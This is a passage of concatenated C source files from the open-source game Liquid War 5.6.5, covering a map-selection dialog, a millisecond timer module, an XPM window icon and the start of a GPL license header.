MENU_W_LEVEL; d[3].h = MENU_H_LEVEL; d[4].x = x1; d[4].y = y4; d[4].w = MENU_W_LEVEL; d[4].h = MENU_H_LEVEL; d[5].x = x8; d[5].y = y4; d[5].w = MENU_W_LEVEL; d[5].h = MENU_H_LEVEL; for (i = 0; i < 6; ++i) { d[i].proc = d_box_proc; d[i].flags = 0; color_one_dialog (d + i); menu_real_coord (d + i); d[i].x--; d[i].y--; d[i].w += 2; d[i].h += 2; } if (lw_maptex_is_custom_texture_used (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE)) { d[1].flags = d[4].flags |= D_HIDDEN; } if (lw_maptex_is_custom_texture_used (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE)) { d[2].flags = d[5].flags |= D_HIDDEN; } d[6].proc = NULL; /* 6 remplace par 9 pour boites des sliders */ /* caduque depuis que my_slider fait tout tout seul */ dp = my_init_dialog (d, 0); my_update_dialog (dp); shutdown_dialog (dp); } /*------------------------------------------------------------------*/ static void update_choose_map (DIALOG * d, int map, int fg, int bg, int random, int use_default_texture) { static char res_buffer[30]; int res_w, res_h; int just_hidden = 0; int i; static LW_MUTEX_DATA mutex = { NULL }; if (lw_mutex_trylock (&mutex)) { /* * These parameters are passed to the function and set globally within * the mutex to avoid possible bugs due to the fact that a parameter * could be changed while this function is executed. */ CONFIG_LEVEL_MAP = map; CONFIG_LEVEL_FG = fg; CONFIG_LEVEL_BG = bg; LW_RANDOM_ON = random; CONFIG_USE_DEFAULT_TEXTURE = use_default_texture; scare_mouse (); set_fg_dialogs_visibility (d, &just_hidden); set_bg_dialogs_visibility (d, &just_hidden); if (just_hidden) { /* * OK, now we need to "hide" some part of the screen * therefore we simply paste the background image and * redraw everything. This is called a performance killer. */ display_back_image (); for (i = 0; (d + i)->proc != NULL; ++i) { if (!((d + i)->flags & D_HIDDEN)) { (d + i)->proc (MSG_DRAW, d + i, 0); } } } box_for_choose_map (); LW_MACRO_SNPRINTF1 ((char *) d[13].dp, BUFFER_EDIT_NUMBER, "%d", CONFIG_LEVEL_MAP + 1); if (!((d + 13)->flags & D_HIDDEN)) { my_edit_proc (MSG_DRAW, d + 13, 0); } LW_MACRO_SNPRINTF1 ((char *) d[14].dp, BUFFER_EDIT_NUMBER, "%d", CONFIG_LEVEL_FG + 1); if (!((d + 14)->flags & D_HIDDEN)) { my_edit_proc (MSG_DRAW, d + 14, 0); } LW_MACRO_SNPRINTF1 ((char *) d[15].dp, BUFFER_EDIT_NUMBER, "%d", CONFIG_LEVEL_BG + 1); if (!((d + 15)->flags & D_HIDDEN)) { my_edit_proc (MSG_DRAW, d + 15, 0); } d[4].d2 = CONFIG_LEVEL_MAP; if (CONFIG_LEVEL_FG >= CHOOSE_COLOR_NUMBER) d[5].d2 = CONFIG_LEVEL_FG - CHOOSE_COLOR_NUMBER; if (CONFIG_LEVEL_BG >= CHOOSE_COLOR_NUMBER) d[6].d2 = CONFIG_LEVEL_BG - CHOOSE_COLOR_NUMBER; if (d[4].d2 < 0) d[4].d2 = d[4].d1; if (d[4].d2 > d[4].d1) d[4].d2 = 0; if (!((d + 4)->flags & D_HIDDEN)) { my_slider_proc (MSG_DRAW, d + 4, 0); } if (d[5].d2 < 0) d[5].d2 = d[5].d1; if (d[5].d2 > d[5].d1) d[5].d2 = 0; if (!((d + 5)->flags & D_HIDDEN)) { my_slider_proc (MSG_DRAW, d + 5, 0); } if (d[6].d2 < 0) d[6].d2 = d[6].d1; if (d[6].d2 > d[6].d1) d[6].d2 = 0; if (!((d + 6)->flags & D_HIDDEN)) { my_slider_proc (MSG_DRAW, d + 6, 0); } lw_map_get_res (CONFIG_LEVEL_MAP, &res_w, &res_h, 0, LW_RANDOM_ON, MIN_MAP_RES_W[CONFIG_MIN_MAP_RES], MIN_MAP_RES_H[CONFIG_MIN_MAP_RES]); LW_MACRO_SPRINTF2 (res_buffer, "%dx%d", res_w, res_h); d[16].dp = res_buffer; my_textbox_proc (MSG_DRAW, d + 16, 0); d[17].dp = lw_map_get_readable_name (CONFIG_LEVEL_MAP, 0, LW_RANDOM_ON); my_textbox_proc (MSG_DRAW, d + 17, 0); display_chosen_level (); unscare_mouse (); lw_mutex_unlock (&mutex); } else { log_println_str ("Warning: too many calls to \"update_choose_map\"..."); } } /*------------------------------------------------------------------*/ static int slider_map (void *dp3, int d2) { DIALOG *d; int map; play_click (); d = dp3; map = d2; update_choose_map (d, map, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, 0, CONFIG_USE_DEFAULT_TEXTURE); return 0; } /*------------------------------------------------------------------*/ static int slider_fg (void *dp3, int d2) { DIALOG *d; int fg; play_click (); d = dp3; fg = d2 + CHOOSE_COLOR_NUMBER; update_choose_map (d, CONFIG_LEVEL_MAP, fg, CONFIG_LEVEL_BG, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); return 0; } /*------------------------------------------------------------------*/ static int slider_bg (void *dp3, int d2) { DIALOG *d; int bg; play_click (); d = dp3; bg = d2 + CHOOSE_COLOR_NUMBER; update_choose_map (d, CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, bg, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); return 0; } /*------------------------------------------------------------------*/ static void update_use_default_texture_state (DIALOG * d) { static char state_buffer[30]; scare_mouse (); LW_MACRO_SPRINTF0 (state_buffer, lw_lang_string (CONFIG_USE_DEFAULT_TEXTURE ? LW_LANG_STRING_LEVEL_ON : LW_LANG_STRING_LEVEL_OFF)); d[19].dp = state_buffer; my_button_proc (MSG_DRAW, d + 19, 0); unscare_mouse (); } /*------------------------------------------------------------------*/ int choose_map (void) { int retour = 0, choix = MENU_QUICK_BACK; int i; int x1, x2, x3, x4, x5, x6, x7, x8; int y1, y2, y3, y4, y5, y6, y7, y8; DIALOG d[278]; char buf1[BUFFER_EDIT_NUMBER + 1]; char buf2[BUFFER_EDIT_NUMBER + 1]; char buf3[BUFFER_EDIT_NUMBER + 1]; memset (d, 0, sizeof (d)); buf1[0] = 0; buf2[0] = 0; display_back_image (); set_palette_for_choose_color (); quick_buttons (d); retrieve_choose_level_xy (&x1, &x2, &x3, &x4, &x5, &x6, &x7, &x8, &y1, &y2, &y3, &y4, &y5, &y6, &y7, &y8); d[4].proc = d[5].proc = d[6].proc = my_slider_proc; d[4].dp = d[5].dp = d[6].dp = NULL; d[4].key = d[5].key = d[6].key = 0; d[4].dp2 = slider_map; d[5].dp2 = slider_fg; d[6].dp2 = slider_bg; d[4].dp3 = d[5].dp3 = d[6].dp3 = d; d[4].flags = d[5].flags = d[6].flags = 0; d[4].d1 = RAW_MAP_NUMBER - 1; d[5].d1 = d[6].d1 = RAW_TEXTURE_NUMBER - 1; d[4].d2 = CONFIG_LEVEL_MAP; d[5].d2 = CONFIG_LEVEL_FG; d[6].d2 = CONFIG_LEVEL_BG; d[4].x = x4; d[4].y = y5; d[4].w = MENU_W_SAMPLE; d[4].h = MENU_H_LEVEL; d[5].x = x3; d[6].x = x7; d[5].y = d[6].y = y2; d[5].w = d[6].w = MENU_H_LEVEL; d[5].h = d[6].h = y4 - y2 - MENU_H_SPACE; for (i = 7; i < 13; ++i) { d[i].proc = my_button_proc; d[i].key = 0; d[i].flags = D_EXIT; d[i].w = d[i].h = MENU_H_LEVEL; }; d[7].dp = d[9].dp = d[11].dp = "-"; d[8].dp = d[10].dp = d[12].dp = "+"; d[7].x = x3; d[7].y = d[8].y = y5; d[8].x = x7; d[9].x = d[10].x = x3; d[11].x = d[12].x = x7; d[9].y = d[11].y = y4; d[10].y = d[12].y = y1; d[13].proc = d[14].proc = d[15].proc = my_edit_proc; d[13].flags = d[14].flags = d[15].flags = D_EXIT; d[13].dp = buf1; d[14].dp = buf2; d[15].dp = buf3; d[13].d1 = d[14].d1 = d[15].d1 = BUFFER_EDIT_NUMBER; d[13].d2 = d[14].d2 = d[15].d2 = 0; d[13].x = d[15].x = x8; d[14].x = x1; d[13].w = d[14].w = d[15].w = MENU_W_LEVEL; d[13].h = d[14].h = d[15].h = MENU_H_LEVEL; d[13].y = y5; d[14].y = d[15].y = y4; d[16].proc = my_textbox_proc; d[16].x = x1; d[16].y = y6; d[16].w = x5 - x1 - MENU_W_SPACE; d[16].h = MENU_H_LEVEL; d[16].flags = 0; d[16].dp = ""; d[17].proc = my_textbox_proc; d[17].x = x5; d[17].y = y6; d[17].w = x8 - x5 + MENU_W_LEVEL; d[17].h = MENU_H_LEVEL; d[17].flags = 0; d[17].dp = ""; d[18].proc = my_textbox_proc; d[18].x = x1; d[18].y = y7; d[18].w = x6 - x1 - MENU_W_SPACE; d[18].h = MENU_H_LEVEL; d[18].flags = 0; d[18].dp = lw_lang_string (LW_LANG_STRING_LEVEL_USEDEFAULTTEXTURE); d[19].proc = my_button_proc; d[19].x = x6; d[19].y = y7; d[19].w = x8 - x6 + MENU_W_LEVEL; d[19].h = MENU_H_LEVEL; d[19].flags = D_EXIT; d[19].dp = ""; d[20].proc = my_button_proc; d[20].x = x3; d[20].y = y8; d[20].w = x8 - x3 - MENU_W_SPACE; d[20].h = MENU_H_LEVEL; d[20].flags = D_EXIT; d[20].dp = lw_lang_string (LW_LANG_STRING_LEVEL_RANDOMMAP);; #ifdef DOS d[20].flags = D_HIDDEN; #endif for (i = 4; i < 21; ++i) { color_one_dialog (d + i); menu_real_coord (d + i); } palette_128 (d + 21, menu_real_x (x1), menu_real_y (y3), menu_real_x (MENU_W_LEVEL), menu_real_y (y4 - y3 - MENU_H_SPACE)); palette_128 (d + 149, menu_real_x (x8), menu_real_y (y3), menu_real_x (MENU_W_LEVEL), menu_real_y (y4 - y3 - MENU_H_SPACE)); box_for_choose_map (); d[277].proc = NULL; update_use_default_texture_state (d); update_choose_map (d, CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); while (retour == 0) { choix = my_do_dialog_no_clear (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else { display_back_image (); box_for_choose_map (); update_choose_map (d, CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); } break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 7: d[4].d2--; if (d[4].d2 < 0) d[4].d2 = d[4].d1; slider_map (d[4].dp3, d[4].d2); break; case 8: d[4].d2++; if (d[4].d2 > d[4].d1) d[4].d2 = 0; slider_map (d[4].dp3, d[4].d2); break; case 9: d[5].d2--; if (d[5].d2 < 0) d[5].d2 = d[5].d1; slider_fg (d[5].dp3, d[5].d2); break; case 10: d[5].d2++; if (d[5].d2 > d[5].d1) d[5].d2 = 0; slider_fg (d[5].dp3, d[5].d2); break; case 11: d[6].d2--; if (d[6].d2 < 0) d[6].d2 = d[6].d1; slider_bg (d[6].dp3, d[6].d2); break; case 12: d[6].d2++; if (d[6].d2 > d[6].d1) d[6].d2 = 0; slider_bg (d[6].dp3, d[6].d2); break; case 13: i = atoi (d[13].dp) - 1; if (!(i >= 0 && i < RAW_MAP_NUMBER)) { i = CONFIG_LEVEL_MAP; } play_click (); update_choose_map (d, i, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, 0, CONFIG_USE_DEFAULT_TEXTURE); break; case 14: i = atoi (d[14].dp) - 1; if (!(i >= 0 && i < RAW_TEXTURE_NUMBER + CHOOSE_COLOR_NUMBER)) { i = CONFIG_LEVEL_FG; } play_click (); update_choose_map (d, CONFIG_LEVEL_MAP, i, CONFIG_LEVEL_BG, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); break; case 15: i = atoi (d[15].dp) - 1; if (!(i >= 0 && i < RAW_TEXTURE_NUMBER + CHOOSE_COLOR_NUMBER)) { i = CONFIG_LEVEL_BG; } play_click (); update_choose_map (d, CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, i, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); break; case 19: i = CONFIG_USE_DEFAULT_TEXTURE ? 0 : 1; update_choose_map (d, CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, LW_RANDOM_ON, i); update_use_default_texture_state (d); break; case 20: if (lw_random_generate_map ()) { update_choose_map (d, CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, 1, CONFIG_USE_DEFAULT_TEXTURE); } break; default: if (choix >= 21 && choix < 149) { i = choix - 21; update_choose_map (d, CONFIG_LEVEL_MAP, i, CONFIG_LEVEL_BG, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); } if (choix >= 149 && choix < 277) { i = choix - 149; update_choose_map (d, CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, i, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); } } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/ticker.c0000664000372000037200000001233713407756104015363 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : ticker.c */ /* contenu : gestion d'un compteur de milliemes de seconde */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "ticker.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #ifdef DOS #define TICKER_STEP 5 #else #define TICKER_STEP 10 #endif static int TICKER_VALUE = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* mise en place du chrono */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static void ticker_handler (void) { TICKER_VALUE += TICKER_STEP; } END_OF_FUNCTION (ticker_handler); /*------------------------------------------------------------------*/ int start_ticker (void) { int result = 0; //#ifdef DOS LOCK_FUNCTION (ticker_handler); LOCK_VARIABLE (TICKER_VALUE); result = install_int_ex (ticker_handler, MSEC_TO_TIMER (TICKER_STEP)); //#endif return result; } /*------------------------------------------------------------------*/ void stop_ticker (void) { //#ifdef DOS remove_int (ticker_handler); //#endif } /*------------------------------------------------------------------*/ int get_ticker (void) { //#ifdef DOS return TICKER_VALUE; //#else //return ++TICKER_VALUE; //#endif } liquidwar-5.6.5/src/x11icon.c0000664000372000037200000002243713407756104015366 0ustar travistravis#include /* XPM */ static const char *allegico_xpm[] = { /* columns rows colors chars-per-pixel */ "48 48 235 2", " c #3F0B05", ". c #320B0D", "X c #3C1C08", "o c #0F3E00", "O c #123C01", "+ c #1D3D00", "@ c #1D3E11", "# c #202F00", "$ c #342B00", "% c #3D2D00", "& c #2C3200", "* c #223F00", "= c #3C3D00", "- c #001F30", "; c #37002F", ": c #39002F", "> c #35003F", ", c #3C003A", "< c #003222", "1 c #003F21", "2 c #003D2B", "3 c #002F3E", "4 c #013434", "5 c #023A3F", "6 c #530E00", "7 c #5D0F00", "8 c #53000C", "9 c #5A000A", "0 c #491100", "q c #451900", "w c #4C1900", "e c #561600", "r c #551B00", "t c #530013", "y c #580013", "u c #51001A", "i c #650100", "p c #6C0002", "a c #640900", "s c #730301", "d c #7C0200", "f c #720800", "g c #7B0A00", "h c #710B08", "j c #6A1400", "k c #721100", "l c #711B00", "z c #462900", "x c #582600", "c c #532D00", "v c #433C00", "b c #622300", "n c #782600", "m c #650026", "M c #0B4103", "N c #064308", "B c #004F0F", "V c #1B4003", "C c #065705", "Z c #0C5300", "A c #005C03", "S c #00560E", "D c #145400", "F c #004D1E", "G c #005716", "H c #005E16", "J c #00551D", "K c #244600", "L c #2A4600", "P c #264E00", "I c #3C4400", "U c #324800", "Y c #265100", "T c #056600", "R c #006C02", "E c #00680A", "W c #126400", "Q c #116800", "! c #007402", "~ c #0C7600", "^ c #017D01", "/ c #0A7A00", "( c #02730A", ") c #007E08", "_ c #006215", "` c #006C12", "' c #00621D", "] c #016B1D", "[ c #007E10", "{ c #007118", "} c #227000", "| c #004723", " . c #004C22", ".. c #004529", "X. c #005B22", "o. c #00532D", "O. c #004032", "+. c #004937", "@. c #004B3C", "#. c #006223", "$. c #00612F", "%. c #006C2E", "&. c #00732E", "*. c #180D46", "=. c #1C004C", "-. c #001547", ";. c #001944", ":. c #00114F", ">. c #001B4B", ",. c #000C51", "<. c #001959", "1. c #270048", "2. c #290051", "3. c #003C47", "4. c #00344D", "5. c #013C4A", "6. c #002E57", "7. c #022458", "8. c #003451", "9. c #003A53", "0. c #00395A", "q. c #000D60", "w. c #00036B", "e. c #000868", "r. c #1F0063", "t. c #001160", "y. c #001C68", "u. c #020074", "i. c #000B74", "p. c #02007C", "a. c #000F7F", "s. c #1B007D", "d. c #001475", "f. c #001A73", "g. c #001679", "h. c #001F7D", "j. c #250063", "k. c #002365", "l. c #00256C", "z. c #003A61", "x. c #002A70", "c. c #420040", "v. c #004541", "b. c #004449", "n. c #044252", "m. c #004264", "M. c #00746A", "N. c #820100", "B. c #8B0100", "V. c #840A00", "C. c #940000", "Z. c #9B0100", "A. c #A60100", "S. c #AC0000", "D. c #B30000", "F. c #BB0000", "G. c #962B01", "H. c #C40001", "J. c #CC0000", "K. c #D40000", "L. c #DB0000", "P. c #E50000", "I. c #ED0000", "U. c #F40000", "Y. c #FE0000", "T. c #008401", "R. c #0A8400", "E. c #008A01", "W. c #00820C", "Q. c #1A8600", "!. c #128E00", "~. c #1F8800", "^. c #019300", "/. c #009B01", "(. c #089D00", "). c #02980D", "_. c #1F9700", "`. c #008014", "'. c #008E11", "]. c #009212", "[. c #029C1A", "{. c #318A04", "}. c #2B9702", "|. c #00A500", " X c #00AB01", ".X c #00AE0C", "XX c #1DAB00", "oX c #00B401", "OX c #01BC01", "+X c #00B40D", "@X c #00B90C", "#X c #00AB11", "$X c #00BA14", "%X c #00C200", "&X c #00CC00", "*X c #00D400", "=X c #00DB00", "-X c #00E300", ";X c #00EB00", ":X c #00F400", ">X c #00FE00", ",X c #00C020", "X>X>X.X@.4XtXhXcXcXcXcXcXcXcXcXcXcXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXvX{.=X>X>X>X-X).3.1XyXlXcXcXcXcXcXcXcXcXcXcXcXvXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXG.}.;X>X>X>X:X%XJ i.7XsXxXcXcXcXcXcXcXcXcXcXcXcXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXU.K.n XX>X>X>X>X>X&X#.e.7XyXxXcXcXcXcXcXcXcXcXcXcXcXzXkXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXU.U.F.l _.:X>X>X>X>X-X%.i.7XyXzXcXcXcXcXcXcXcXcXcXcXcXhXwX,XvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXY.Y.I.D.j ~.;X>X>X>X>X=X&.i.7XyXzXcXcXcXcXcXcXcXcXcXcXcXiXz.$X>XvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXY.Y.Y.L.B.r Q.;X>X>X>X:X%X$.i.7XiXxXcXcXcXcXcXcXcXcXcXcXzXrX5.+X>X>XvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXU.Y.Y.K.B.z !.-X>X>X>X:XoXv.p.7XfXcXcXcXcXcXcXcXcXcXcXcXlX9X5 @X>X>X>XvXvXvXvXvXvX", "vXvXvXvXvXvXY.Y.Y.Y.I.A.v |.;X>X>X>X:X+X4.1XrXhXcXcXcXcXcXcXcXcXcXcXcXzX7XO.oX>X>X>XvXvXvXvXvXvX", "vXvXvXvXvXU.Y.Y.Y.Y.U.S.I |.;X>X>X>X>X$X8.1XyXzXcXcXcXcXcXcXcXcXcXcXcXxX3X . X:X>X>X>XvXvXvXvXvX", "vXvXvXvXvXY.Y.Y.Y.Y.U.Z.U /.=X>X>X>X>X#X6.8XfXcXcXcXcXcXcXcXcXcXcXcXcXxXh.G /.=X>X>X>XvXvXvXvXvX", "vXvXvXvXU.Y.Y.Y.Y.Y.P.B.K E.OX:X>X>X-X'.k.sXzXcXcXcXcXcXcXcXcXcXcXcXxXfXy.` oX;X>X>X>X;XvXvXvXvX", "vXvXvXvXY.Y.Y.Y.Y.U.K.d V ^ oX:X>X>X&X{ y.gXcXcXcXcXcXcXcXcXcXcXcXcXgX8X3 E.=X>X>X>X;XOXvXvXvXvX", "vXvXvXvXY.Y.Y.Y.Y.P.D.a O R oX>X>X:XoX#.d.sXzXcXcXcXcXcXcXcXcXcXcXxXsXX>X>X=X.X%XvXvXvX", "vXvXvXU.Y.Y.Y.Y.Y.K.C.6 M ! OX>X>X;X XX.d.yXgXcXcXcXlXgXgXzXcXxXcXlXtXy._ /.=X>X>X>X-X#XM.vXvXvX", "vXvXvXU.Y.Y.Y.Y.Y.K.N.0 M ^ &X>X>X;X|. .d.tXiXzXxXgXtX7X7XuXfXgXhXsX8X3.W.OX;X>X>X>X-X[.aXvXvXvX", "vXvXvXY.Y.Y.Y.Y.Y.K.d . N E.*X>X>X:X XF ,.8XyXgXfX5X8.3.5.9.6XyXtX8Xi.| |.-X>X>X>X>X:X|.n.vXvXvX", "vXvXvXY.Y.Y.Y.Y.Y.H.N.X C |.-X>X>X>X*X] :.p.7X8Xl.X.) ) ) ! o.d.7Xp.-.G oX:X>X>X>X>X:X X+.0XvXvX", "vXvXvXY.Y.Y.Y.Y.I.F.B.v ^ %X:X>X>X>X:X].;.w.u.<.' E.^.^.T.^ R 2 e.w.4 ! %X>X>X>X>X>X-X).8.iXvXvX", "vXvXY.Y.Y.Y.Y.Y.I.D.V.U ^.=X>X>X>X>X>XOX..,.>.F T./.oX&X%X XE.A - ,.| E.*X>X>X>X>X:X&XW.k.fXvXvX", "vXvXY.Y.Y.Y.Y.Y.U.H.g K ^.*X>X>X>X>X>X;X+X`.[ E./.OX;X>X>X:X*X^.S < B ^.-X>X>X>X>X=X X{ f.gXvXvX", "vXvXvXY.Y.Y.Y.Y.Y.H.f K E.*X>X>X>X>X>X>X>X-X=X&X*X;X>X>X>X>X>X=X/.R ! oX:X>X>X>X:X%X^.' f.fXvXvX", "vXvXvXY.Y.Y.Y.Y.Y.J.d & ^ OX:X>X>X>X>X>X>X>X>X>X>X>X>X>X>X>X>X>X=XOX&X;X>X>X>X>X;XOXE.o.g.gXvXvX", "vXvXvXY.Y.Y.Y.Y.U.H.B.w Z ^.-X>X>X>X>X>X>X>X>X>X>X;X-X-X;X>X>X>X>X>X>X>X>X>X>X>X;XOXW.9.iXvXvXvX", "vXvXvXY.Y.Y.Y.Y.U.K.D.s # ^ *X>X>X>X>X>X>X>X>X:X&XOX X|.oX=X>X>X>X>X>X>X>X>X>X>X;XOX[ x.lXvXvXvX", "vXvXvXY.Y.Y.Y.Y.Y.U.L.Z.0 Z OX>X>X>X>X>X>X:X-X%X/.E./ Q ! oX;X>X>X>X>X>X>X>X>X>X=X|.] 6XzXvXvXvX", "vXvXvXvXY.Y.Y.Y.Y.Y.Y.J.N.$ (.:X>X-X;X;X=X X^.E.! D % w + ^ %X;X>X>X>X>X>X>X>X*XoXR.b.uXzXvXvXvX", "vXvXvXvXY.Y.Y.Y.Y.Y.Y.U.D.a Y oX*XoX XoX^.T D P = r i i q W |.*X;X>X>X>X>X:X=X|.^.] eXlXvXvXvXvX", "vXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.P.C.7 I } ~ / ~ D $ e j d d d s f v R.|.OX=X-X*XOXOX|.E.( m.jXcXvXvXvXvX", "vXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.H.C.d k b c x j V.C.C.C.C.B.B.C.h @ E ^. X|.T.! T.E.( 0.dXcXvXvXvXvXvX", "vXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.U.H.Z.Z.C.B.C.A.F.F.F.D.D.A.Z.B.m *.1 ! T.^ ! T R E 9.pXxXcXvXvXvXvXvX", "vXvXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.U.K.F.S.S.F.L.U.U.U.I.U.K.C.s , u.t.4 J H _ _ | 7.pXzXxXvXvXvXvXvXvX", "vXvXvXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.Y.U.I.P.U.Y.Y.Y.Y.Y.Y.J.N.8 =.7XyXuXqX6Xh.f.3XsXcXcXxXvXvXvXvXvXvX", "vXvXvXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.I.A.i : 2XfXzXcXxXzXgXfXlXcXcXcXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXY.U.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.U.F.N.u s.gXcXcXcXcXcXcXcXcXcXcXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.U.F.N.9 j.fXcXcXcXcXcXcXcXcXcXcXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.Y.Y.Y.U.I.H.B.9 1.rXzXcXcXcXcXcXcXcXcXcXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXY.Y.Y.Y.Y.Y.Y.Y.L.F.Z.N.y 2.9XfXzXcXcXcXcXcXcXcXcXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXvXY.Y.Y.Y.Y.U.J.Z.p t 1.s.yXhXzXcXcXcXcXxXcXcXvXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXvXvXvXY.Y.Y.P.A.9 : j.9XgXzXzXxXcXcXcXcXcXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXU.J.c.p.tXiXgXlXhXxXcXcXxXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXgXlXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvX", "vXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvXvX" }; #if defined ALLEGRO_WITH_XWINDOWS && defined ALLEGRO_USE_CONSTRUCTOR extern void *allegro_icon; CONSTRUCTOR_FUNCTION (static void _set_allegro_icon (void)); static void _set_allegro_icon (void) { allegro_icon = allegico_xpm; } #endif liquidwar-5.6.5/src/help.c0000664000372000037200000001275513407756104015036 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* 